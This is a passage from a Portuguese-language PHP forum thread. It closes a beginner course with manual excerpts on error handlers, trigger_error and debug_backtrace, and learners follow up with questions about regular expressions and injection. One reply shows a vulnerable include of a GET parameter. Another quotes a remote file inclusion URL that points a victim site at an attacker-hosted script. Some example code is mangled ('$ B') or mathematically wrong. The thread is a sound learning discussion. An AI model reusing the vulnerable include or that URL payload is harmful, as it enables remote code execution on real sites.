código PHP usando a função trigger_error(). Somente PHP 4 2047 E_ALL (integer) Todos os erros e avisos, como suportado, exceto do nível E_STRICT. 2048 E_STRICT (integer) Nóticias em tempo de execução. Permite ao PHP sugerir modificações em seu código para segurar melhor interoperabilidade e compatibilidade futura do seu código. Somente PHP 5 Os valores acima (numéricos ou simbolicos) são usados para criar um bitmask que especifica quais erros reportar.Você pode usar os operadores Bit-a-bit para combinar estes valores ou mascarar certos tipos de erro. Note que somente '|', '~', '!', ^ e '&' serão entendidos dentro do php.ini, entretanto, nenhum operador será entendido no php3.ini. Exemplos Abaixo você poderá ver um exemplo de como usar as capacidades de gerenciamento de erros no PHP. Nós definimos uma função para gerenciamento de erros a qual guardas as informações dentro de um arquivo (usando um formato XML), e envia um e-mail para o desenvolvador caso um erro crítico na lógica aconteça. Exemplo 1. Usando gerenciamento de erro em um script PHP <?php // nós iremos fazer o nosso próprio gerenciamento de erros error_reporting(0); // função definida pelo usuário para gerenciamento de erros function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) { // timestamp para a entrada do erro $dt = date("Y-m-d H:i:s (T)"); // Define uma matriz associativa com as strings dos erros $errortype = array ( 1 => "Error", 2 => "Warning", 4 => "Parsing Error", 8 => "Notice", 16 => "Core Error", 32 => "Core Warning", 64 => "Compile Error", 128 => "Compile Warning", 256 => "User Error", 512 => "User Warning", 1024=> "User Notice" ); // define quais erros nós iremos salvar $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE); $err = "<errorentry>\n"; $err .= "\t<datetime>" . $dt . "</datetime>\n"; $err .= "\t<errornum>" . $errno . "</errornum>\n"; $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n"; $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n"; $err .= "\t<scriptname>" . $filename . "</scriptname>\n"; $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n"; if (in_array($errno, $user_errors)) $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n"; $err .= "</errorentry>\n\n"; // para teste // echo $err; // salva para o log de erros, e envia um email para o desenvolvedor em caso de erro crítico error_log($err, 3, "/usr/local/php4/error.log"); if ($errno == E_USER_ERROR) mail("phpdev@example.com", "Critical User Error", $err); } function distance($vect1, $vect2) { if (!is_array($vect1) || !is_array($vect2)) { trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR); return NULL; } if (count($vect1) != count($vect2)) { trigger_error("Vectors need to be of the same size", E_USER_ERROR); return NULL; } for ($i=0; $i<count($vect1); $i++) { $c1 = $vect1[$i]; $c2 = $vect2[$i]; $d = 0.0; if (!is_numeric($c1)) { trigger_error("Coordinate $i in vector 1 is not a number, using zero", E_USER_WARNING); $c1 = 0.0; } if (!is_numeric($c2)) { trigger_error("Coordinate $i in vector 2 is not a number, using zero", E_USER_WARNING); $c2 = 0.0; } $d += $c2*$c2 - $c1*$c1; } return sqrt($d); } $old_error_handler = set_error_handler("userErrorHandler"); // constante indefinida, gera um aviso $t = I_AM_NOT_DEFINED; // define alguns "vetores" $a = array(2, 3, "foo"); $b = array(5.5, 4.3, -1.6); $c = array (1,-3); // gera um erro do usuário $t1 = distance($c, $ B) ."\n"; // gera outro erro do usuário $t2 = distance($b, "i am not an array")."\n"; // gera um aviso $t3 = distance($a, $ B) ."\n"; ?> debug_backtrace (PHP 4 >= 4.3.0, PHP 5) debug_backtrace -- Gera um backtrace Descrição array debug_backtrace ( void ) debug_backtrace() gera um backtrace e retorna esta informação em uma matriz associativa. Os elementos possivelmente retornados estão na seguinte tabela: Tabela 1. Elementos possivelmente retornados de debug_backtrace() Nome Tipo Descrição function string O nome da função atual. Veja também __FUNCTION__. line integer O número da linha atual. Veja também __LINE__. file string O nome do arquivo atual. Veja também __FILE__. class string O nome da classe atual. Veja também __CLASS__. type string O tipo da classe atual. args array Se estiver dentro de uma função, lista os argumentos da função. Se estiver dentro de um arquivo incluído, lista o(s) nome(s) do(s) arquivo(s). A seguir esta um exemplo simples. Exemplo 1. Exemplo debug_backtrace() // nome do arquivo: a.php PHP <?php function a_test($str) { echo "\nHi: $str"; var_dump(debug_backtrace()); } a_test('friend'); ?> // nome do arquivo: b.php PHP <?php include_once '/tmp/a.php'; ?> Resultados quando executando /tmp/b.php: Hi: friend array(2) { [0]=> array(4) { ["file"] => string(10) "/tmp/a.php" ["line"] => int(10) ["function"] => string(6) "a_test" ["args"]=> array(1) { [0] => &string(6) "friend" } } [1]=> array(4) { ["file"] => string(10) "/tmp/b.php" ["line"] => int(2) ["args"] => array(1) { [0] => string(10) "/tmp/a.php" } ["function"] => string(12) "include_once" } } debug_print_backtrace (PHP 5) debug_print_backtrace -- Mostra um backtrace restore_error_handler (PHP 4 >= 4.0.1, PHP 5) restore_error_handler -- Restaura a função anterior para gerenciamento de erro set_error_handler (PHP 4 >= 4.0.1, PHP 5) set_error_handler -- Define uma função do usuário para manusear os erros. Descrição string set_error_handler ( callback error_handler) Define uma função do usuário (error_handler) para manusear os erros no script. Retorna a função definida anteriormente (se houver alguma), ou FALSE em caso de erro. Esta função pode ser usada para definir o seu próprio meio de manusear os erros durante a execução do script, por exemplo em aplicações que você precisa fazer uma limpesa de dados/arquivos quando um erro crítico acontece, ou quando você quer criar um erro sobre certas condições (usando trigger_error()). A função do usuario precisa aceitar dois parâmetros: o código do erro e a string descrevendo o erro. Apartir do PHP 4.0.2, três parâmetros opcionais são fornecidos: o nome do erro onde o arquivo aconteceu, o número da linha onde o erro aconteceu, e o contexto onde o erro aconteceu (uma matriz que aponta para a tabela de símbolos ativos no ponto onde aconteceu o erro). Nota: Ao invés de um nome de função, uma matriz contendo uma referência a um objeto e um nome de metodo pode ser indicado (Apartir do PHP 4.3.0). Nota: Os seguintes tipos de erro não podem ser manuseados por uma função definida pelo usuário: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR e E_COMPILE_WARNING. O exemplo abaixo mostra como manusear exceções criando erros e gerenciando erros com uma função definida pelo usuário: Exemplo 1. Manuseando erros com set_error_handler() e trigger_error() PHP <?php // redefine the user error constants - PHP 4 only define("FATAL", E_USER_ERROR); define("ERROR", E_USER_WARNING); define("WARNING", E_USER_NOTICE); // set the error reporting level for this script error_reporting(FATAL | ERROR | WARNING); // error handler function function myErrorHandler($errno, $errstr, $errfile, $errline) { switch ($errno) { case FATAL: echo "<b>FATAL</b> [$errno] $errstr<br />\n"; echo " Fatal error in line $errline of file $errfile"; echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br />\n"; echo "Aborting...<br />\n"; exit(1); break; case ERROR: echo "<b>ERROR</b> [$errno] $errstr<br />\n"; break; case WARNING: echo "<b>WARNING</b> [$errno] $errstr<br />\n"; break; default: echo "Unkown error type: [$errno] $errstr<br />\n"; break; } } // function to test the error handling function scale_by_log($vect, $scale) { if (!is_numeric($scale) || $scale <= 0) { trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale", FATAL); } if (!is_array($vect)) { trigger_error("Incorrect input vector, array of values expected", ERROR); return null; } for ($i=0; $i<count($vect); $i++) { if (!is_numeric($vect[$i])) trigger_error("Value at position $i is not a number, using 0 (zero)", WARNING); $temp[$i] = log($scale) * $vect[$i]; } return $temp; } // set to the user defined error handler $old_error_handler = set_error_handler("myErrorHandler"); // trigger some errors, first define a mixed array with a non-numeric item echo "vector a\n"; $a = array(2,3, "foo", 5.5, 43.3, 21.11); print_r($a); // now generate second array, generating a warning echo "----\nvector b - a warning (b = log(PI) * a)\n"; $b = scale_by_log($a, M_PI); print_r($ B) ; // this is trouble, we pass a string instead of an array echo "----\nvector c - an error\n"; $c = scale_by_log("not array", 2.3); var_dump($c); // this is a critical error, log of zero or negative number is undefined echo "----\nvector d - fatal error\n"; $d = scale_by_log($a, -2.5); ?> E quando você usar este script de exemplo, a saída será: vector a Array ( [0] => 2 [1] => 3 [2] => foo [3] => 5.5 [4] => 43.3 [5] => 21.11 ) vector b - a warning (b = log(PI) * a) <b>WARNING</b> [1024] Value at position 2 is not a number, using 0 (zero)<br /> Array ( [0] => 2.2894597716988 [1] => 3.4341896575482 [2] => 0 [3] => 6.2960143721717 [4] => 49.566804057279 [5] => 24.165247890281 ) vector c - an error <b>ERROR</b> [512] Incorrect input vector, array of values expected<br /> NULL ---- vector d - fatal error <b>FATAL</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br /> Fatal error in line 36 of file trigger_error.php, PHP 4.0.2 (Linux)<br /> Aborting...<br /> É importante lembrar que o gerenciamento de erro do padrão do PHP é completamente ignorado. As definições de error_reporting() não terão efeito e seu gerenciador de erro será chamado. Em todo o caso, você ainda poderá ler o valor atual de error_reporting e ajir apropriadamente. Uma nota em particular é que este valor será 0 se o comando que causou o erro for precedido pelo operador de controle de erro @. Note também que é sua responsabilidade usar o die() se necessário. Se a função que gerencia os erros retornar, a execução do script irá continuar a apartir do comando seguinte ao que causou o erro Nota: Se o erro acontecer antes da execução do script(ex. enquanto o arquivo é carregado) a função defina pelo usuario não será chamada já que não estará ainda registrada. trigger_error (PHP 4 >= 4.0.1, PHP 5) trigger_error -- Gera uma mensagem de usuário sobre error/warning/notice Descrição void trigger_error ( string error_msg [, int error_type]) Usa para realizar uma condição de erro, pode ser usado em conjunto com o gerenciador de erros padrão ou com uma função definida pelo usuário, se for definida como gerenciador de erros com set_error_handler(). Somente funciona com as constantes da família E_USER, e o padrão é E_USER_NOTICE. Esta função é útil quando você quer gerar uma resposta para uma exceção durante a execução do script. Por exemplo: PHP <?php if (assert($divisor == 0)) { trigger_error("Não posso dividir por zero", E_USER_ERROR); } ?> Nota: Veja set_error_handler() para um exemplo maior. Nota: error_msg é limitado a 1024 caracteres de tamanho. Qualquer caractere adicional além de 1024 serão truncados. Fim do Curso de PHP :( Quero agradecer a todos que acompanharam esse curso, e agradeço os elogios e criticas, e espero que tenha aprendido alguma coisa nova ja fico contente e não quero parar de ajudar mesmo que o curso de PHP acabou logo iremos apresentar mais cursos o próximo curso a ser apresentado a vocês será sobre Mysql, e espero poder também passar um curso avançado sobre outros bancos de dados e funções avançadas do php, aguardem e bons estudos até a próxima Compartilhar este post Link para o post Compartilhar em outros sites
fael 1 Denunciar post Postado Maio 2, 2005 Nesse endereço tem um livro on-line sobre as Expressões Regulares: http://guia-er.sourceforge.net/guia-er.html Compartilhar este post Link para o post Compartilhar em outros sites
fsphp 0 Denunciar post Postado Maio 4, 2005 01-) Acho que estão invertidas as palavras no exemplo do "conteúdo". Acredito que deve ficar assim: 1 exemplo ira substituir tudo que tiver entre <b>conteudo</b> por conteudo usando as tags html para deixar negrito o texto02-) Fiquei confuso com tantas barras e chaves. Gostaria, se possível, de uma descrição do que está ocorrendo em: $mensagem = preg_replace("/\[b\](.*?)\[\/b\]/si", "<b>\\1</b>", $mensagem); 03-) Na questão de segurança foi falado do método GET. Caso o method escolhido fosse o POST, ocorreria o injection? O script aceita uma variável $_GET no lugar de uma $_POST? 04-) Valeu Fabyo, obrigado por compartilhar seus conhecimentos conosco, encontrando tempo para montar esse curso, mesmo sem ter tempo de fazê-lo. :) Compartilhar este post Link para o post Compartilhar em outros sites
Fabyo 66 Denunciar post Postado Maio 4, 2005 $mensagem = preg_replace("/\[b\](.*?)\[\/b\]/si", "<b>\\1</b>", $mensagem); as barras é pra escapar os caracteres \[ por que se nao escapar ficando assim isso sera confundido por uma lista que só casa a letra b e nao os 3 caracteres [ , b, ] entendeu por isso é preciso usar as barras mas resumindo essa ER pega por exemplo um texto texto [ / b .] e deixa ele negrito usando as tags de html <b>texto</b> olha a funçao propria desse forum clicando no b em cima ai no bbcodes Compartilhar este post Link para o post Compartilhar em outros sites
fsphp 0 Denunciar post Postado Maio 5, 2005 Eu olhei no Manual do PHP a função preg_replace() e ela tem a seguinte sintaxe:preg_replace(pattern, replacement, subject)Pela minha tradução ficou um pouco confusa essa função. Entendí que era para substituir o "subject" por "replacement" no "pattern". Mas acho que está errado esse meu entendimento.Você pode esplicar um pouco essa função?Obrigado. :) Compartilhar este post Link para o post Compartilhar em outros sites
Cyber_Not 0 Denunciar post Postado Maio 7, 2005 Sobre o sql injection, esse $_GET["corpo"] é o q? é isso ? $corpo = "pagina.php"; pagina.php <html> <head> </head> <body> <?php if(isset($_GET["corpo"])) { include $_GET["corpo"].".php"; } ?> </body> </html> Valeu, até mais Compartilhar este post Link para o post Compartilhar em outros sites
fsphp 0 Denunciar post Postado Maio 11, 2005 Entendi a preg_replace(). Mas quer dizer, então, que "" usado nessa função tem a conotação de "negrito"? Igual que "<b>" no html? Compartilhar este post Link para o post Compartilhar em outros sites
Cerrito 0 Denunciar post Postado Maio 11, 2005 Buenas pfsphp, como você viu a reg_replace serve para econtrar um "conjuntos de caracteres e trocar por outro(s)... usando para isso as expressões regulares... tambem conhecidas por ER... se você entender bem as ER você vai ver que pode fazer muita coisa com elas... validações de forms... trocar modificar texto... para saber mais a respeito de uma olhada... http://guia-er.sourceforge.net/guia-er.html endereço que nosso colega já postou acima... abraços Marcio Compartilhar este post Link para o post Compartilhar em outros sites
fsphp 0 Denunciar post Postado Maio 11, 2005 Valeu Márcio, o problema não era mais com a ER, e sim com a função. Ela está usando para substituir <b></b>. Quanto ao link do colega, show de bola. Acho essa coleção de Guias da Novatec bem legais para iniciantes. Eu não tinha visto que tem sobre as ER. Deve estar fora de edição, ao menos nas livrarias. Aproveitando o tópico, na questão de segurança foi falado do método GET. Caso o method escolhido fosse o POST, ocorreria o injection? O script aceita uma variável $_GET, se ele estiver esperando $_POST? Compartilhar este post Link para o post Compartilhar em outros sites
Fabyo 66 Denunciar post Postado Maio 11, 2005 O que foi explicado no curso foi a maneira errada de usar inclusao de arquivos nao tem nada haver com o $_GET ou $_POST o $_GET esta certo ali o problema é saber incluir um arquivo para nao deixar brecha na segurança qualquer duvida só falar Compartilhar este post Link para o post Compartilhar em outros sites
MATRIX_PHP 0 Denunciar post Postado Maio 25, 2005 http://forum.imasters.com.br/public/style_emoticons/default/joia.gif Num vai ficar so ate o modulo 10 nao ne!?!?! tem mais coisa ai ne?!?!?! http://forum.imasters.com.br/public/style_emoticons/default/bye1.gif Compartilhar este post Link para o post Compartilhar em outros sites
elyezermr 0 Denunciar post Postado Maio 26, 2005 Ola pessoal... gostaria de sugerir, que tal pega o curso de php e faze um arquivo pdf? ou entao um outro pra distribuição unica? eh uma segestão caso bem vinda fico feliz... ate mais e parabens pelo curso!!!! Compartilhar este post Link para o post Compartilhar em outros sites
Nícolas 4 Denunciar post Postado Junho 12, 2005 Ai não entendi uma coisa, sobr o SQL Injection como eu faço para colcocar essa "?" interrogação .php no final do include. http://sitedavitima.com.br?corpo=http://se...te/xpl.gif?.php E outra, eu utilizo minha querystring assim. $area = $_GET["area"];switch ($area){//===================================================================//// LOGINdefault:include "login.php";break;//===================================================================//// ADMINcase admin:include "admin.php";break;//===================================================================//// LOGOUTcase logout:include "logout.php";break;} a url fica assim: http://www.site.com.br/- Login http://www.site.com.br/?area=admin http://www.site.com.br/?area=logout Eu sei que da para fazer SQL Injection de apagar tabelas e tal, mas esse ai de executar o script em especifico do servidor do atacante, eu corro esse risco. E como eu previno essas outra SQL Injections de DRP DATABASE e tal??? eu sou iniciante em php, to fazzendo um sistema para meu site que ja tá em 60% mais ou menos, mas quero que fique seguro dessas injection. E tem alguma maneira de evitar que certos comandos como drop por exemplo sejam substituidos por " " quando forem digitados??? como o str_ireplace por exemplo. Assim poderia evitar os comandos mais maliciosos E queria te dar meus parabéns por todos os Módulos, foram os que mais me ajudaram até hoje. Troféu jóinha pra você http://forum.imasters.com.br/public/style_emoticons/default/joia.gif obs: Vai gostar de digitar assim hein, hehehe :D :D :D Compartilhar este post Link para o post Compartilhar em outros sites